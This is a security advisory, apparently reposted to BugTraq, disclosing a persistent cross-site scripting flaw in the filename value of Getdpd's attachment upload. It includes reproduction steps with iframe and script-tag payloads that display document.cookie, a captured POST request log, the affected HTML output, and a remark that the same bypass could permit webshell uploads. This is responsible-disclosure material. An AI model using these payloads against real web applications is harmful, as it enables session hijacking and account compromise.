BugTraq
Getdpd BB #5 - Persistent Filename Vulnerability Feb 08 2016 11:01AM
Vulnerability Lab (research vulnerability-lab com)
Document Title:
===============
Getdpd BB #5 - Persistent Filename Vulnerability

References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1569

ID: #14773

Release Date:
=============
2016-02-05

Vulnerability Laboratory ID (VL-ID):
====================================
1569

Common Vulnerability Scoring System:
====================================
4.2

Product & Service Introduction:
===============================
DPD is an all-in-one shopping cart and digital fulfillment service for downloadable products. Serving thousands of stores, DPD processes and
delivers millions worth of downloads each year.

(Copy of the Vendor Homepage: https://getdpd.com/security )

Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research team discovered an application-side input validation web vulnerability in the official Getpdp online service web-application.

Vulnerability Disclosure Timeline:
==================================
2015-08-09: Researcher Notification & Coordination (Hadji Samir)
2015-08-10: Vendor Notification (Getdpd Security Team - Bug Bounty Program)
2015-09-07: Vendor Response/Feedback (Getdpd Security Team - Bug Bounty Program)
2016-01-22: Vendor Fix/Patch (Getdpd Developer Team)
2016-02-05: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
=================
Published

Affected Product(s):
====================

Exploitation Technique:
=======================
Remote

Severity Level:
===============
Medium

Technical Details & Description:
================================
An application-side cross site scripting web vulnerability has been discovered in the official Getdpd online service web-application.
The security vulnerability allows remote attackers to inject own script code to the application-side of the affected application module.

The vulnerability is located in the filename value of the attachment file upload module. Remote attackers with low privilege web-application
user accounts are able to inject own malicious script code via POST method request to the application-side. The injection point is the vulnerable
filename parameter in the upload POST method request and the execution point is located in attachment file listing module. The request method to
inject is POST and the vulnerability is located to the application-side of the vulnerable online-service.

The security risk of the application-side cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.2.
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source
and persistent manipulation of affected or connected application modules.

Request Method(s):
[+] POST

Vulnerable Service(s):
[+] getdpd.com

Vulnerable Module(s):
[+] File Upload - Attachment

Vulnerable Parameter(s):
[+] filename

Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers with low privilege web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1- Go https://getdpd.com/plan
2- Click Add content
3- Upload vile in Attached Files upload file with name <iframe src="x" onload="alert(document.cookie)">.png
4- Watch the file attachment listing for execution or to share!
5- Successful reproduce of the security vulnerability!

Note: The issue allows to bypass the file type validation which can also result in arbitrary file upload of webshells to takeover the full web-server.
We mention this to ensure you get the full attack vector right now.

--- PoC Session Logs [POST] ---
13:18:08.707[479ms][total 479ms]
Status: 302[Found]
POST https://getdpd.com/plan/275/post/update
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[102] Mime Type[text/html]
Request Headers:
Host[getdpd.com]
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
Referer[https://getdpd.com/plan/275/post/edit]
Cookie[_src=https://getdpd.com/product/114584/fulfillment_method/edit?id
=64976&wizard=1; _ga=GA1.2.163063198.1438880403; __zlcmid=W5erEG66rmgkKt; referrer=javascript:alert(1); view-cart-button=https%3A%2F%2Fgetdpd.com%2Fimages%2Fbuy_buttons%2Fvc%2F
solid1%2Fdpd_viewcart_2.png; symfony=4fk57k07c4c3blm6piak6rrk01; _csrf_token=5dd0e8de2f12cbf4cfdddb7af46239126a7861de; _gat=1]
X-Forwarded-For[8.8.8.8]
Connection[keep-alive]
Post Data:
POST_DATA[-----------------------------14017750523507698851607262969
Content-Disposition: form-data; name="_csrf_token"
5dd0e8de2f12cbf4cfdddb7af46239126a7861de
-----------------------------14017750523507698851607262969
Content-Disposition: form-data; name="id"
-----------------------------14017750523507698851607262969
Content-Disposition: form-data; name="title"
test
-----------------------------14017750523507698851607262969
Content-Disposition: form-data; name="content"
-----------------------------14017750523507698851607262969
Content-Disposition: form-data; name="excerpt_text"
-----------------------------14017750523507698851607262969
Content-Disposition: form-data; name="synopsis"
-----------------------------14017750523507698851607262969
Content-Disposition: form-data; name="upload_file[0][src]"
o_19sbonbguapqtjbgkn2sa1e8q7.png
-----------------------------14017750523507698851607262969
Content-Disposition: form-data; name="upload_file[0][name]"

-----------------------------14017750523507698851607262969
Content-Disposition: form-data; name="status"
DFT
-----------------------------14017750523507698851607262969
Content-Disposition: form-data; name="publish-type"
publish-date
-----------------------------14017750523507698851607262969
Content-Disposition: form-data; name="published_at"
Aug 10, 2015 8:21am
-----------------------------14017750523507698851607262969
Content-Disposition: form-data; name="publish_after_days"
-----------------------------14017750523507698851607262969
Content-Disposition: form-data; name="send_publish_email"
0
-----------------------------14017750523507698851607262969
Content-Disposition: form-data; name="send_publish_email"
1
-----------------------------14017750523507698851607262969
Content-Disposition: form-data; name="image_file"; filename=">"<script>alert(document.cookie)</script><div style="1" [PERSISTENT INJECTED PAYLOAD TO FILENAME VALUE!]
Content-Type: application/octet-stream
-----------------------------14017750523507698851607262969--]
Response Headers:
Date[Mon, 10 Aug 2015 12:21:34 GMT]
Server[Apache]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Pragma[no-cache]
Location[https://getdpd.com/plan/show]
Set-Cookie[_csrf_token=5dd0e8de2f12cbf4cfdddb7af46239126a7861de; path=/; secure]
Vary[Accept-Encoding,User-Agent]
Content-Encoding[gzip]
P3p[CP="NOI CURa OUR NOR UNI"]
Content-Length[102]
Connection[close]
Content-Type[text/html]

PoC: Source - Attached Files List
<fieldset><legend>Attached Files</legend></fieldset>
<table>
<thead>
<tr>
<th>File</th>
<th>Available for Trials</th>
<th>RSS Enclosure</th>
<th>Remove</th>
</tr>
</thead>
<tbody id="filelist">
<tr class="new-unsaved-file"> <td>
<input name="upload_file[0][src]" value="o_19sbkc6in15vt3vls4n13lakue7.png" id="target_o_19sbkc6in15vt3vls4n13lakue7" type="hidden">
<input name="upload_file[0][name]" value="" type="hidden">
<iframe src="./Edit Content DPD Shopping Cart_files/x.html" onload="alert(document.cookie)"> .png" />
<input type="text" name="upload_file[0][friendly_name]" value=""><iframe src=x onload=alert(document.cookie)> .png" />
<span id="o_19sbkc6in15vt3vls4n13lakue7">(5 kb) <b></b> </td>
<td><input type="checkbox" name="upload_file[0][trial]" value="1" checked="checked" /></td>
<td><input type="checkbox" name="upload_file[0][rss_enclosure]" value="1" /></td>
<td><input type="checkbox" name="upload_file[0][remove]"></td>
</tr></tbody></table></iframe></td></tr></tbody>
</table>
<div style="position: relative;">
<a id="pickfiles" class="btn btn-small" href="https://getdpd.com/plan/275/post/edit#" style="position: relative;
z-index: 1;"><i class="icon-plus"></i> Upload File</a> <div id="html5_19sbkbuae137b178p176219lf9353_container"
class="moxie-shim moxie-shim-html5" style="position: absolute; top: 0px; left: 0px; width: 104px; height: 26px; overflow:
hidden; z-index: 0;"><input id="html5_19sbkbuae137b178p176219lf9353" style="font-size: 999px; opacity: 0; position: absolute;
top: 0px; left: 0px; width: 100%; height: 100%;" accept="" type="file"></div></div>
<p class="muted">
<i class="fa fa-exclamation-circle"></i> The RSS spec recommends that you only choose one file per post to be included.
</p>

Reference(s):
https://getdpd.com/
https://getdpd.com/plan
https://getdpd.com/plan/275/post/edit

Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable filename value in the upload POST method request. Restrict the input and disallow usage of special chars.
Filter and setup a secure exception handling that prevents the persistent execution in the output location were the file attachment list becomes visible.
Disallow usage of multiple filename as extension to prevent arbitrary file upload of webshells. Secure the type of file to secure the mechanism by manual interaction.

Security Risk:
==============
The security risk of application-side input validation web vulnerability in the frontend of the getdpd web-application is estimated as medium. (CVSS 4.2)

Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [samir (at) evolution-sec (dot) com [email concealed]] [www.vulnerability-lab.com] (http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir)

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=========================
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